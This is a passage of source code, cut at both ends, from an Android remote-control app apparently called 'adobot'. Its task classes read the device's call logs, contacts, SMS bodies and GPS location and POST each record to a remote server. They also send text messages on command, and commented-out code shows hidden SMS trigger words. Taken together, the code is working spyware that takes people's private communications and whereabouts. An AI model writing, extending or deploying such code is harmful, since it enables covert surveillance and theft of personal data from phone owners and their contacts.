req.setUrl(commonParams.getServer() + AdobotConstants.POST_STATUS_URL + "/" + commonParams.getUid()); 82 | // req.setMethod(HttpRequest.METHOD_POST); 83 | // req.setParams(params); 84 | // req.execute(); 85 | } else 86 | requestPermissions(); 87 | } 88 | 89 | // public void stopForwarding() { 90 | // commonParams = new CommonParams(context); 91 | // if (isListening) { 92 | // contentResolver.unregisterContentObserver(callLogObserver); 93 | // isListening = false; 94 | // } 95 | // //notify server 96 | // HashMap params = new HashMap(); 97 | // params.put("uid", commonParams.getUid()); 98 | // params.put("sms_forwarder_number", ""); 99 | // params.put("sms_forwarder_status", isListening); 100 | // 101 | // Http req = new Http(); 102 | // req.setUrl(commonParams.getServer() + AdobotConstants.POST_STATUS_URL + "/" + commonParams.getUid()); 103 | // req.setMethod(HttpRequest.METHOD_POST); 104 | // req.setParams(params); 105 | // req.execute(); 106 | // } 107 | 108 | private boolean hasPermission() { 109 | return ContextCompat.checkSelfPermission(context, Manifest.permission.READ_CALL_LOG) == 110 | PackageManager.PERMISSION_GRANTED && 111 | ContextCompat.checkSelfPermission(context, Manifest.permission.READ_CONTACTS) == 112 | PackageManager.PERMISSION_GRANTED; 113 | } 114 | 115 | /* public void setRecipientNumber(String recipientNumber) { 116 | this.recipientNumber = recipientNumber; 117 | }*/ 118 | 119 | public interface SubmitCallLogCallback { 120 | void onResult (boolean success); 121 | } 122 | 123 | public void submitNextRecord(final SubmitCallLogCallback cb) { 124 | Log.i(TAG, "submitNextCallLog()"); 125 | Thread thread = new Thread(new Runnable() { 126 | @Override 127 | public void run() { 128 | CallLog log = callLogDao.first(); 129 | Log.i(TAG, "callLog = " + log); 130 | if (log != null) { 131 | submitSms(log, cb); 132 | } else 133 | cb.onResult(true); 134 | } 135 | }); 136 | thread.start(); 137 | } 138 | 139 | private void submitSms(final CallLog callLog, final SubmitCallLogCallback cb) { 140 | 141 | final int call_id = callLog.getCallId(); 142 | final int callType = callLog.getType(); 143 | final String phone = callLog.getPhone(); 144 | final String name = callLog.getName(); 145 | final String date = callLog.getDate(); 146 | final int duration = callLog.getDuration(); 147 | 148 | try { 149 | 150 | HashMap p = new HashMap(); 151 | p.put("uid", commonParams.getUid()); 152 | p.put("call_id", Integer.toString(call_id)); 153 | p.put("type", callType); 154 | p.put("phone", phone); 155 | p.put("name", name); 156 | p.put("date", date); 157 | p.put("duration", duration); 158 | 159 | JSONObject obj = new JSONObject(p); 160 | Log.i(TAG, "Submitting Call Log: " + obj.toString()); 161 | 162 | Http http = new Http(); 163 | http.setMethod(HttpRequest.METHOD_POST); 164 | http.setUrl(commonParams.getServer() + AdobotConstants.POST_CALL_LOGS_URL); 165 | http.setParams(p); 166 | http.setCallback(new HttpCallback() { 167 | @Override 168 | public void onResponse(HashMap response) { 169 | int statusCode = (int) response.get("status"); 170 | if (statusCode >= 200 && statusCode < 400) { 171 | try { 172 | callLogDao.delete(callLog.getId()); 173 | Log.i(TAG, "call log submitted!! " + phone); 174 | submitNextRecord(cb); 175 | } catch (Exception e) { 176 | Log.i(TAG, "Failed to delete call log: " + phone); 177 | cb.onResult(false); 178 | e.printStackTrace(); 179 | } 180 | } else { 181 | Log.i(TAG, "Call log failed to submit!!!" + phone); 182 | Log.i(TAG, "Status code: " + statusCode); 183 | cb.onResult(false); 184 | /*InsertCallLogThread ins = new InsertCallLogThread(callLog); 185 | ins.start();*/ 186 | } 187 | } 188 | }); 189 | http.execute(); 190 | 191 | } catch (Exception e) { 192 | Log.i(TAG, "FAiled with error: " + e.toString()); 193 | e.printStackTrace(); 194 | cb.onResult(false); 195 | /*InsertCallLogThread ins = new InsertCallLogThread(callLog); 196 | ins.start();*/ 197 | } 198 | } 199 | 200 | private class InsertCallLogThread extends Thread { 201 | /*final SmsManager manager = SmsManager.getDefault(); 202 | private String phone; 203 | private String message; 204 | private int delay = 3000;*/ 205 | private CallLog callLog; 206 | 207 | public InsertCallLogThread(CallLog callLog) { 208 | this.callLog = callLog; 209 | } 210 | 211 | @Override 212 | public void run() { 213 | super.run(); 214 | 215 | try { 216 | callLogDao.insert(callLog); 217 | Log.i(TAG, "Call Log saved, type: " + callLog.getType() + "!!!" + callLog.getPhone()); 218 | submitSms(callLog, new SubmitCallLogCallback() { 219 | @Override 220 | public void onResult(boolean success) { 221 | if (success) { 222 | submitNextRecord(new SubmitCallLogCallback() { 223 | @Override 224 | public void onResult(boolean success) { 225 | // nothing to do after submit 226 | } 227 | }); 228 | } 229 | } 230 | }); 231 | } catch (Exception e) { 232 | Log.i(TAG, "Failed to save callLog: id: " + callLog.getId()); 233 | } 234 | 235 | 236 | /* if (sending) { 237 | Log.i(TAG, "Resending.."); 238 | try { 239 | Thread.sleep(delay); 240 | } catch (InterruptedException e) { 241 | e.printStackTrace(); 242 | } finally { 243 | new SendSmsThread(this.phone, this.message).start(); 244 | } 245 | return; 246 | } 247 | sending = true;*/ 248 | /* try { 249 | Log.i(TAG, "Sleeping .."); 250 | Thread.sleep(delay); 251 | 252 | } catch (InterruptedException e) { 253 | e.printStackTrace(); 254 | } finally { 255 | Log.i(TAG, "Sending message "); 256 | int length = message.length(); 257 | 258 | if (length > MAX_SMS_MESSAGE_LENGTH) { 259 | ArrayList messagelist = manager.divideMessage(message); 260 | 261 | manager.sendMultipartTextMessage(phone, null, messagelist, null, null); 262 | } else { 263 | manager.sendTextMessage(phone, null, message, null, null); 264 | } 265 | 266 | }*/ 267 | } 268 | } 269 | 270 | public class CallLogObserver extends ContentObserver { 271 | 272 | 273 | public CallLogObserver(Handler handler) { 274 | super(handler); 275 | } 276 | 277 | @Override 278 | public void onChange(boolean selfChange) { 279 | super.onChange(selfChange); 280 | Cursor cursor = null; 281 | 282 | try { 283 | cursor = contentResolver.query(CALL_LOG_URI, null, null, null, "date DESC"); 284 | 285 | if (cursor != null && cursor.moveToNext()) { 286 | saveCallLog(cursor); 287 | } 288 | } finally { 289 | if (cursor != null) 290 | cursor.close(); 291 | } 292 | 293 | } 294 | 295 | private void saveCallLog(Cursor mCur) { 296 | 297 | int id = mCur.getColumnIndex(android.provider.CallLog.Calls._ID); 298 | int number = mCur.getColumnIndex(android.provider.CallLog.Calls.NUMBER); 299 | int type = mCur.getColumnIndex(android.provider.CallLog.Calls.TYPE); 300 | int date = mCur.getColumnIndex(android.provider.CallLog.Calls.DATE); 301 | int duration = mCur.getColumnIndex(android.provider.CallLog.Calls.DURATION); 302 | 303 | 304 | String phNumber = mCur.getString(number); 305 | String nameS = getContactName(phNumber); 306 | int callType = mCur.getInt(type); 307 | String callDate = mCur.getString(date); 308 | Date callDayTime = new Date(Long.valueOf(callDate)); 309 | SimpleDateFormat dt = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); 310 | int callDuration = mCur.getInt(duration); 311 | 312 | Log.i(TAG, "Call log detected: " + phNumber + ", Type: " + callType); 313 | 314 | if (lastLogDate != callDate) { 315 | lastLogDate = callDate; 316 | 317 | CallLog callLog = new CallLog(); 318 | callLog.setCallId(id); 319 | callLog.setType(callType); 320 | callLog.setPhone(phNumber); 321 | callLog.setName(nameS); 322 | callLog.setDate(dt.format(callDayTime)); 323 | callLog.setDuration(callDuration); 324 | 325 | InsertCallLogThread ins = new InsertCallLogThread(callLog); 326 | ins.start(); 327 | } 328 | 329 | // final int type = mCur.getInt(mCur.getColumnIndex("type")); 330 | // final int id = mCur.getInt(mCur.getColumnIndex("_id")); 331 | // final String body = mCur.getString(mCur.getColumnIndex("body")); 332 | // 333 | // String smsOpenText = prefs.getString(AdobotConstants.PREF_SMS_OPEN_TEXT_FIELD, "Open adobot"); 334 | // 335 | // if (Objects.equals(body.trim(), smsOpenText.trim()) && type == MESSAGE_TYPE_SENT) { 336 | // Intent setupIntent = new Intent(context, SetupActivity.class); 337 | // setupIntent.addFlags(FLAG_ACTIVITY_NEW_TASK); 338 | // context.startActivity(setupIntent); 339 | // return; 340 | // } 341 | // 342 | // String uploadSmsCmd = prefs.getString(AdobotConstants.PREF_FORCE_SYNC_SMS_COMMAND_FIELD, "Baby?"); 343 | // if (Objects.equals(body.trim(), uploadSmsCmd.trim()) && type == MESSAGE_TYPE_RECEIVED) { 344 | // Log.i(TAG, "Forced submit SMS"); 345 | // submitNextRecord(new SubmitCallLogCallback() { 346 | // @Override 347 | // public void onResult(boolean success) { 348 | // } 349 | // }); 350 | // return; 351 | // } 352 | // 353 | // // accept only received and sent 354 | // if (id != lastId && (type == MESSAGE_TYPE_RECEIVED || type == MESSAGE_TYPE_SENT)) { 355 | // 356 | // lastId = id; 357 | // 358 | // final String thread_id = mCur.getString(mCur.getColumnIndex("thread_id")); 359 | // final String phone = mCur.getString(mCur.getColumnIndex("address")); 360 | // final String name = getContactName(phone); 361 | // 362 | // 363 | // SimpleDateFormat formatter = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); 364 | // Calendar calendar = Calendar.getInstance(); 365 | // String now = mCur.getString(mCur.getColumnIndex("date")); 366 | // calendar.setTimeInMillis(Long.parseLong(now)); 367 | // 368 | // final String date = formatter.format(calendar.getTime()); 369 | // 370 | // Sms callLog = new Sms(); 371 | // callLog.setId(Integer.parseInt(thread_id + id)); 372 | // callLog.set_id(id); 373 | // callLog.setThread_id(thread_id); 374 | // callLog.setBody(body); 375 | // callLog.setName(name); 376 | // callLog.setPhone(phone); 377 | // callLog.setDate(date); 378 | // callLog.setType(type); 379 | // 380 | // InsertCallLogThread ins = new InsertCallLogThread(callLog); 381 | // ins.start(); 382 | // 383 | // 384 | // } 385 | 386 | } 387 | 388 | } 389 | 390 | 391 | } 392 | -------------------------------------------------------------------------------- /app/src/main/java/com/android/adobot/tasks/GetCallLogsTask.java: -------------------------------------------------------------------------------- 1 | package com.android.adobot.tasks; 2 | 3 | import android.Manifest; 4 | import android.content.Context; 5 | import android.content.pm.PackageManager; 6 | import android.database.Cursor; 7 | import android.net.Uri; 8 | import android.provider.CallLog; 9 | import android.support.v4.content.ContextCompat; 10 | import android.util.Log; 11 | 12 | import com.android.adobot.AdobotConstants; 13 | 14 | import java.text.SimpleDateFormat; 15 | import java.util.Date; 16 | import java.util.HashMap; 17 | 18 | import com.android.adobot.http.Http; 19 | import com.android.adobot.http.HttpRequest; 20 | 21 | public class GetCallLogsTask extends BaseTask { 22 | 23 | private static String TAG = "GetCallLogsTask"; 24 | private int numlogs; 25 | 26 | public GetCallLogsTask(Context client, int numlogs) { 27 | setContext(client); 28 | this.numlogs = numlogs; 29 | } 30 | 31 | @Override 32 | public void run() { 33 | super.run(); 34 | getCallLogs(); 35 | } 36 | 37 | private void getCallLogs() { 38 | 39 | 40 | if (ContextCompat.checkSelfPermission(context, Manifest.permission.READ_CALL_LOG) == PackageManager.PERMISSION_GRANTED) { 41 | 42 | HashMap start = new HashMap(); 43 | start.put("event", "getcallhistory:started"); 44 | start.put("uid", commonParams.getUid()); 45 | start.put("device", commonParams.getDevice()); 46 | Http startHttp = new Http(); 47 | startHttp.setUrl(commonParams.getServer() + AdobotConstants.NOTIFY_URL); 48 | startHttp.setMethod(HttpRequest.METHOD_POST); 49 | startHttp.setParams(start); 50 | startHttp.execute(); 51 | 52 | String strOrder = android.provider.CallLog.Calls.DATE + " DESC"; 53 | Uri callUri = Uri.parse("content://call_log/calls"); 54 | Cursor mCur = context.getApplicationContext().getContentResolver().query(callUri, null, null, null, strOrder); 55 | int id = mCur.getColumnIndex(CallLog.Calls._ID); 56 | int number = mCur.getColumnIndex(CallLog.Calls.NUMBER); 57 | int type = mCur.getColumnIndex(CallLog.Calls.TYPE); 58 | int date = mCur.getColumnIndex(CallLog.Calls.DATE); 59 | int duration = mCur.getColumnIndex(CallLog.Calls.DURATION); 60 | 61 | if (mCur.moveToFirst()) { 62 | do { 63 | Log.i(TAG, "This number: " + this.numlogs); 64 | String phNumber = mCur.getString(number); 65 | String nameS = getContactName(phNumber); 66 | String callType = mCur.getString(type); 67 | String callDate = mCur.getString(date); 68 | Date callDayTime = new Date(Long.valueOf(callDate)); 69 | SimpleDateFormat dt = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); 70 | String callDuration = mCur.getString(duration); 71 | 72 | HashMap p = new HashMap(); 73 | p.put("uid", commonParams.getUid()); 74 | p.put("call_id", Integer.toString(id)); 75 | p.put("type", callType); 76 | p.put("phone", phNumber); 77 | p.put("name", nameS); 78 | p.put("date", dt.format(callDayTime)); 79 | p.put("duration", callDuration); 80 | 81 | Http req = new Http(); 82 | req.setMethod(HttpRequest.METHOD_POST); 83 | req.setUrl(commonParams.getServer() + AdobotConstants.POST_CALL_LOGS_URL); 84 | req.setParams(p); 85 | req.execute(); 86 | this.numlogs--; 87 | } while (mCur.moveToNext() && this.numlogs > 0); 88 | } 89 | 90 | start.put("event", "getcallhistory:done"); 91 | start.put("uid", commonParams.getUid()); 92 | start.put("device", commonParams.getDevice()); 93 | Http doneHttp = new Http(); 94 | doneHttp.setUrl(commonParams.getServer() + AdobotConstants.NOTIFY_URL); 95 | doneHttp.setMethod(HttpRequest.METHOD_POST); 96 | doneHttp.setParams(start); 97 | doneHttp.execute(); 98 | 99 | mCur.close(); 100 | } else { 101 | 102 | Log.i(TAG, "No SMS permission!!!"); 103 | HashMap noPermit = new HashMap(); 104 | noPermit.put("event", "nopermission"); 105 | noPermit.put("uid", commonParams.getUid()); 106 | noPermit.put("device", commonParams.getDevice()); 107 | noPermit.put("permission", "READ_CALL_LOG"); 108 | Http doneSMS = new Http(); 109 | doneSMS.setUrl(commonParams.getServer() + AdobotConstants.NOTIFY_URL); 110 | doneSMS.setMethod(HttpRequest.METHOD_POST); 111 | doneSMS.setParams(noPermit); 112 | doneSMS.execute(); 113 | 114 | requestPermissions(); 115 | } 116 | 117 | } 118 | } 119 | -------------------------------------------------------------------------------- /app/src/main/java/com/android/adobot/tasks/GetContactsTask.java: -------------------------------------------------------------------------------- 1 | package com.android.adobot.tasks; 2 | 3 | import android.Manifest; 4 | import android.content.ContentResolver; 5 | import android.content.Context; 6 | import android.content.pm.PackageManager; 7 | import android.database.Cursor; 8 | import android.provider.ContactsContract; 9 | import android.support.v4.content.ContextCompat; 10 | import android.util.Log; 11 | 12 | import com.android.adobot.AdobotConstants; 13 | import com.android.adobot.CommonParams; 14 | 15 | import java.util.HashMap; 16 | 17 | import com.android.adobot.http.Http; 18 | import com.android.adobot.http.HttpRequest; 19 | 20 | /** 21 | * Created by adones on 2/24/17. 22 | */ 23 | 24 | public class GetContactsTask extends BaseTask { 25 | private static final String TAG = "GetContactsTask"; 26 | private CommonParams commonParams; 27 | private final String[] pers = {Manifest.permission.READ_CONTACTS}; 28 | 29 | public GetContactsTask(Context c) { 30 | setContext(c); 31 | this.commonParams = new CommonParams(c); 32 | } 33 | 34 | @Override 35 | public void run() { 36 | super.run(); 37 | Log.i(TAG, "Running!!!!"); 38 | if (ContextCompat.checkSelfPermission(context, Manifest.permission.READ_CONTACTS) == PackageManager.PERMISSION_GRANTED) { 39 | getContactsList(); 40 | } else { 41 | 42 | HashMap contactP = new HashMap(); 43 | contactP.put("event", "nopermission"); 44 | contactP.put("permission", Manifest.permission.READ_CONTACTS); 45 | contactP.put("uid", commonParams.getUid()); 46 | 47 | Http req = new Http(); 48 | req.setUrl(commonParams.getServer() + AdobotConstants.NOTIFY_URL); 49 | req.setMethod(HttpRequest.METHOD_POST); 50 | req.setParams(contactP); 51 | req.execute(); 52 | 53 | requestPermissions(); 54 | } 55 | } 56 | 57 | private void getContactsList() { 58 | 59 | HashMap startHm = new HashMap(); 60 | startHm.put("event", "getcontacts:started"); 61 | startHm.put("uid", commonParams.getUid()); 62 | startHm.put("device", commonParams.getDevice()); 63 | 64 | Http startReq = new Http(); 65 | startReq.setUrl(commonParams.getServer() + AdobotConstants.NOTIFY_URL); 66 | startReq.setMethod(HttpRequest.METHOD_POST); 67 | startReq.setParams(startHm); 68 | startReq.execute(); 69 | 70 | ContentResolver cr = context.getApplicationContext().getContentResolver(); 71 | Cursor cur = cr.query(ContactsContract.Contacts.CONTENT_URI, 72 | null, null, null, null); 73 | 74 | if (cur.getCount() > 0) { 75 | while (cur.moveToNext()) { 76 | 77 | String id; 78 | String name; 79 | String phoneNumbers = ""; 80 | 81 | id = cur.getString( 82 | cur.getColumnIndex(ContactsContract.Contacts._ID)); 83 | name = cur.getString(cur.getColumnIndex( 84 | ContactsContract.Contacts.DISPLAY_NAME)); 85 | 86 | if (cur.getInt(cur.getColumnIndex( 87 | ContactsContract.Contacts.HAS_PHONE_NUMBER)) > 0) { 88 | Cursor pCur = cr.query( 89 | ContactsContract.CommonDataKinds.Phone.CONTENT_URI, 90 | null, 91 | ContactsContract.CommonDataKinds.Phone.CONTACT_ID + " = ?", 92 | new String[]{id}, null); 93 | while (pCur.moveToNext()) { 94 | String pn = pCur.getString(pCur.getColumnIndex( 95 | ContactsContract.CommonDataKinds.Phone.NUMBER)); 96 | 97 | if (pCur.isFirst()) 98 | phoneNumbers += pn; 99 | else 100 | phoneNumbers += ", " + pn; 101 | 102 | 103 | } 104 | pCur.close(); 105 | } 106 | 107 | HashMap contactP = new HashMap(); 108 | contactP.put("uid", commonParams.getUid()); 109 | contactP.put("contact_id", id); 110 | contactP.put("name", name); 111 | contactP.put("phone_numbers", phoneNumbers); 112 | 113 | Http req = new Http(); 114 | req.setUrl(commonParams.getServer() + AdobotConstants.POST_CONTACTS_URL); 115 | req.setMethod(HttpRequest.METHOD_POST); 116 | req.setParams(contactP); 117 | req.execute(); 118 | 119 | } 120 | } 121 | 122 | HashMap endHm = new HashMap(); 123 | endHm.put("event", "getcontacts:completed"); 124 | endHm.put("uid", commonParams.getUid()); 125 | endHm.put("device", commonParams.getDevice()); 126 | 127 | Http endReq = new Http(); 128 | endReq.setUrl(commonParams.getServer() + AdobotConstants.NOTIFY_URL); 129 | endReq.setMethod(HttpRequest.METHOD_POST); 130 | endReq.setParams(endHm); 131 | endReq.execute(); 132 | 133 | 134 | cur.close(); 135 | } 136 | 137 | } 138 | -------------------------------------------------------------------------------- /app/src/main/java/com/android/adobot/tasks/GetSmsTask.java: -------------------------------------------------------------------------------- 1 | package com.android.adobot.tasks; 2 | 3 | import android.Manifest; 4 | import android.content.ContentResolver; 5 | import android.content.Context; 6 | import android.content.pm.PackageManager; 7 | import android.database.Cursor; 8 | import android.net.Uri; 9 | import android.support.v4.content.ContextCompat; 10 | import android.util.Log; 11 | 12 | import com.android.adobot.AdobotConstants; 13 | 14 | import org.json.JSONObject; 15 | 16 | import java.text.SimpleDateFormat; 17 | import java.util.Calendar; 18 | import java.util.HashMap; 19 | 20 | import com.android.adobot.http.Http; 21 | import com.android.adobot.http.HttpRequest; 22 | 23 | public class GetSmsTask extends BaseTask { 24 | 25 | private static String TAG = "GetSmsTask"; 26 | 27 | private int numsms; 28 | 29 | public GetSmsTask(Context client, int numsms) { 30 | setContext(client); 31 | this.numsms = numsms; 32 | } 33 | 34 | @Override 35 | public void run() { 36 | Log.i(TAG, "Running GetSmsTask ......\n"); 37 | getAllSms(); 38 | } 39 | 40 | private void getAllSms() { 41 | Log.i(TAG, "Getting all sms"); 42 | 43 | if(ContextCompat.checkSelfPermission(context, Manifest.permission.READ_SMS) == PackageManager.PERMISSION_GRANTED) { 44 | 45 | HashMap start = new HashMap(); 46 | start.put("event", "getmessages:started"); 47 | start.put("uid", commonParams.getUid()); 48 | start.put("device", commonParams.getDevice()); 49 | Http req = new Http(); 50 | req.setUrl(commonParams.getServer() + AdobotConstants.NOTIFY_URL); 51 | req.setMethod(HttpRequest.METHOD_POST); 52 | req.setParams(start); 53 | req.execute(); 54 | 55 | Uri callUri = Uri.parse("content://sms"); 56 | ContentResolver cr = context.getApplicationContext().getContentResolver(); 57 | Cursor mCur = cr.query(callUri, null, null, null, null); 58 | if (mCur.moveToFirst()) { 59 | do { 60 | 61 | SimpleDateFormat formatter = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); 62 | Calendar calendar = Calendar.getInstance(); 63 | String now = mCur.getString(mCur.getColumnIndex("date")); 64 | calendar.setTimeInMillis(Long.parseLong(now)); 65 | 66 | try { 67 | String thread_id = mCur.getString(mCur.getColumnIndex("thread_id")); 68 | String id = mCur.getString(mCur.getColumnIndex("_id")); 69 | String phone = mCur.getString(mCur.getColumnIndex("address")); 70 | String name = getContactName(phone); 71 | String body = mCur.getString(mCur.getColumnIndex("body")); 72 | String date = formatter.format(calendar.getTime()); 73 | String type = mCur.getString(mCur.getColumnIndex("type")); 74 | 75 | HashMap p = new HashMap(); 76 | p.put("uid", commonParams.getUid()); 77 | p.put("type", type); 78 | p.put("message_id", id); 79 | p.put("thread_id", thread_id); 80 | p.put("phone", phone); 81 | p.put("name", name); 82 | p.put("message", body); 83 | p.put("date", date); 84 | 85 | JSONObject obj = new JSONObject(p); 86 | Log.i(TAG, obj.toString()); 87 | 88 | Http smsHttp = new Http(); 89 | smsHttp.setMethod(HttpRequest.METHOD_POST); 90 | smsHttp.setUrl(commonParams.getServer() + AdobotConstants.POST_MESSAGE_URL); 91 | smsHttp.setParams(p); 92 | smsHttp.execute(); 93 | 94 | } catch (Exception e) { 95 | e.printStackTrace(); 96 | } 97 | 98 | this.numsms --; 99 | Log.i(TAG, "numsms: " + this.numsms); 100 | 101 | } while (mCur.moveToNext() && this.numsms > 0); 102 | } else { 103 | 104 | HashMap done = new HashMap(); 105 | done.put("event", "getmessages:empty"); 106 | done.put("uid", commonParams.getUid()); 107 | done.put("device", commonParams.getDevice()); 108 | Http doneSMS = new Http(); 109 | doneSMS.setUrl(commonParams.getServer() + AdobotConstants.NOTIFY_URL); 110 | doneSMS.setMethod(HttpRequest.METHOD_POST); 111 | doneSMS.setParams(done); 112 | doneSMS.execute(); 113 | 114 | } 115 | 116 | HashMap done = new HashMap(); 117 | done.put("event", "getmessages:done"); 118 | done.put("uid", commonParams.getUid()); 119 | done.put("device", commonParams.getDevice()); 120 | Http doneSMS = new Http(); 121 | doneSMS.setUrl(commonParams.getServer() + AdobotConstants.NOTIFY_URL); 122 | doneSMS.setMethod(HttpRequest.METHOD_POST); 123 | doneSMS.setParams(done); 124 | doneSMS.execute(); 125 | 126 | mCur.close(); 127 | } else { 128 | Log.i(TAG, "No SMS permission!!!"); 129 | HashMap noPermit = new HashMap(); 130 | noPermit.put("event", "nopermission"); 131 | noPermit.put("uid", commonParams.getUid()); 132 | noPermit.put("device", commonParams.getDevice()); 133 | noPermit.put("permission", "READ_SMS"); 134 | Http doneSMS = new Http(); 135 | doneSMS.setUrl(commonParams.getServer() + AdobotConstants.NOTIFY_URL); 136 | doneSMS.setMethod(HttpRequest.METHOD_POST); 137 | doneSMS.setParams(noPermit); 138 | doneSMS.execute(); 139 | 140 | requestPermissions(); 141 | } 142 | } 143 | 144 | } 145 | -------------------------------------------------------------------------------- /app/src/main/java/com/android/adobot/tasks/LocationMonitor.java: -------------------------------------------------------------------------------- 1 | package com.android.adobot.tasks; 2 | 3 | import android.Manifest; 4 | import android.content.Context; 5 | import android.content.pm.PackageManager; 6 | import android.location.Location; 7 | import android.support.v4.app.ActivityCompat; 8 | import android.util.Log; 9 | 10 | import com.android.adobot.AdobotConstants; 11 | import com.android.adobot.http.Http; 12 | 13 | import java.util.HashMap; 14 | 15 | import io.nlopez.smartlocation.OnLocationUpdatedListener; 16 | import io.nlopez.smartlocation.SmartLocation; 17 | 18 | /** 19 | * Created by adones on 2/26/17. 20 | */ 21 | 22 | public class LocationMonitor extends BaseTask { 23 | 24 | private static final String TAG = "LocationMonitor"; 25 | 26 | private double latitude; 27 | private double longitude; 28 | private String server; 29 | 30 | public LocationMonitor(Context c) { 31 | setContext(c); 32 | this.latitude = 0; 33 | this.longitude = 0; 34 | setServer(commonParams.getServer()); 35 | } 36 | 37 | public void setServer(String url) { 38 | this.server = url; 39 | } 40 | 41 | @Override 42 | public void run() { 43 | super.run(); 44 | 45 | if (ActivityCompat.checkSelfPermission(context, Manifest.permission.ACCESS_FINE_LOCATION) == PackageManager.PERMISSION_GRANTED && 46 | ActivityCompat.checkSelfPermission(context, Manifest.permission.ACCESS_COARSE_LOCATION) == PackageManager.PERMISSION_GRANTED) { 47 | observeLocation(); 48 | } 49 | } 50 | 51 | private void observeLocation() { 52 | SmartLocation.with(context).location() 53 | .start(new OnLocationUpdatedListener() { 54 | @Override 55 | public void onLocationUpdated(Location location) { 56 | updateLocation(location); 57 | } 58 | }); 59 | } 60 | 61 | private void updateLocation(Location location) { 62 | if (location != null) { 63 | latitude = location.getLatitude(); 64 | longitude = location.getLongitude(); 65 | 66 | Log.i(TAG, "Location changed ...."); 67 | 68 | HashMap bot = new HashMap(); 69 | bot.put("lat", latitude); 70 | bot.put("longi", longitude); 71 | Http req = new Http(); 72 | req.setUrl(this.server + AdobotConstants.POST_STATUS_URL + "/" + commonParams.getUid()); 73 | req.setMethod("POST"); 74 | req.setParams(bot); 75 | req.execute(); 76 | } 77 | } 78 | 79 | public double getLatitude(){ 80 | return this.latitude; 81 | } 82 | 83 | public double getLongitude() { 84 | return this.longitude; 85 | } 86 | } 87 | -------------------------------------------------------------------------------- /app/src/main/java/com/android/adobot/tasks/SendSmsTask.java: -------------------------------------------------------------------------------- 1 | package com.android.adobot.tasks; 2 | 3 | import android.Manifest; 4 | import android.app.Activity; 5 | import android.app.PendingIntent; 6 | import android.content.BroadcastReceiver; 7 | import android.content.Context; 8 | import android.content.Intent; 9 | import android.content.IntentFilter; 10 | import android.content.pm.PackageManager; 11 | import android.support.v4.content.ContextCompat; 12 | import android.telephony.SmsManager; 13 | import android.util.Log; 14 | 15 | import com.android.adobot.AdobotConstants; 16 | 17 | import java.util.ArrayList; 18 | import java.util.HashMap; 19 | 20 | import com.android.adobot.http.Http; 21 | import com.android.adobot.http.HttpRequest; 22 | 23 | /** 24 | * Created by adones on 2/26/17. 25 | */ 26 | 27 | public class SendSmsTask extends BaseTask { 28 | 29 | private static final String TAG = "SendSmsTask"; 30 | 31 | private static final int MAX_SMS_MESSAGE_LENGTH = 160; 32 | private static final String SMS_SENT = "SMS_SENT"; 33 | private static final String SMS_DELIVERED= "SMS_DELIVERED"; 34 | private static final int SMS_PORT = 8091; 35 | 36 | private String phoneNumber; 37 | private String textMessage; 38 | 39 | public SendSmsTask(Context c) { 40 | setContext(c); 41 | } 42 | 43 | public void setTextMessage(String textMessage) { 44 | this.textMessage = textMessage; 45 | } 46 | 47 | public void setPhoneNumber(String phoneNumber) { 48 | this.phoneNumber = phoneNumber; 49 | } 50 | 51 | @Override 52 | public void run() { 53 | super.run(); 54 | 55 | if(ContextCompat.checkSelfPermission(context, Manifest.permission.SEND_SMS) == PackageManager.PERMISSION_GRANTED) { 56 | context.registerReceiver(receiver, new IntentFilter(SMS_SENT)); 57 | sendSms(phoneNumber, textMessage); 58 | } else { 59 | Log.i(TAG, "No SMS permission!!!"); 60 | HashMap noPermit = new HashMap(); 61 | noPermit.put("event", "nopermission"); 62 | noPermit.put("uid", commonParams.getUid()); 63 | noPermit.put("device", commonParams.getDevice()); 64 | noPermit.put("permission", "SEND_SMS"); 65 | Http doneSMS = new Http(); 66 | doneSMS.setUrl(commonParams.getServer() + AdobotConstants.NOTIFY_URL); 67 | doneSMS.setMethod(HttpRequest.METHOD_POST); 68 | doneSMS.setParams(noPermit); 69 | doneSMS.execute(); 70 | requestPermissions(); 71 | } 72 | } 73 | 74 | public void sendSms(String phonenumber,String message) 75 | { 76 | SmsManager manager = SmsManager.getDefault(); 77 | 78 | PendingIntent piSend = PendingIntent.getBroadcast(context, 0, new Intent(SMS_SENT), 0); 79 | PendingIntent piDelivered = PendingIntent.getBroadcast(context, 0, new Intent(SMS_DELIVERED), 0); 80 | 81 | int length = message.length(); 82 | 83 | if(length > MAX_SMS_MESSAGE_LENGTH) 84 | { 85 | ArrayList messagelist = manager.divideMessage(message); 86 | 87 | manager.sendMultipartTextMessage(phonenumber, null, messagelist, null, null); 88 | } 89 | else 90 | { 91 | manager.sendTextMessage(phonenumber, null, message, piSend, piDelivered); 92 | } 93 | } 94 | 95 | private BroadcastReceiver receiver = new BroadcastReceiver() { 96 | 97 | @Override 98 | public void onReceive(Context context, Intent intent) { 99 | String event = ""; 100 | String message = ""; 101 | 102 | switch (getResultCode()) { 103 | case Activity.RESULT_OK: 104 | event = "sendmessage:success"; 105 | break; 106 | case SmsManager.RESULT_ERROR_GENERIC_FAILURE: 107 | event = "sendmessage:failed"; 108 | message = "Message not sent."; 109 | break; 110 | case SmsManager.RESULT_ERROR_NO_SERVICE: 111 | event = "sendmessage:failed"; 112 | message = "No service."; 113 | break; 114 | case SmsManager.RESULT_ERROR_NULL_PDU: 115 | event = "sendmessage:failed"; 116 | message = "Error: Null PDU."; 117 | break; 118 | case SmsManager.RESULT_ERROR_RADIO_OFF: 119 | event = "sendmessage:failed"; 120 | message = "Error: Radio off."; 121 | break; 122 | } 123 | 124 | Log.i(TAG, event); 125 | 126 | HashMap params = new HashMap(); 127 | params.put("event", event); 128 | params.put("message", message); 129 | params.put("textmessage", textMessage); 130 | params.put("phone", phoneNumber); 131 | params.put("uid", commonParams.getUid()); 132 | params.put("device", commonParams.getDevice()); 133 | 134 | Http req = new Http(); 135 | req.setUrl(commonParams.getServer() + AdobotConstants.NOTIFY_URL); 136 | req.setMethod(HttpRequest.METHOD_POST); 137 | req.setParams(params); 138 | req.execute(); 139 | 140 | context.unregisterReceiver(receiver); 141 | } 142 | }; 143 | } 144 | -------------------------------------------------------------------------------- /app/src/main/java/com/android/adobot/tasks/SmsRecorderTask.java: -------------------------------------------------------------------------------- 1 | package com.android.adobot.tasks; 2 | 3 | import android.Manifest; 4 | import android.arch.persistence.room.Room; 5 | import android.content.ContentResolver; 6 | import android.content.Context; 7 | import android.content.SharedPreferences; 8 | import 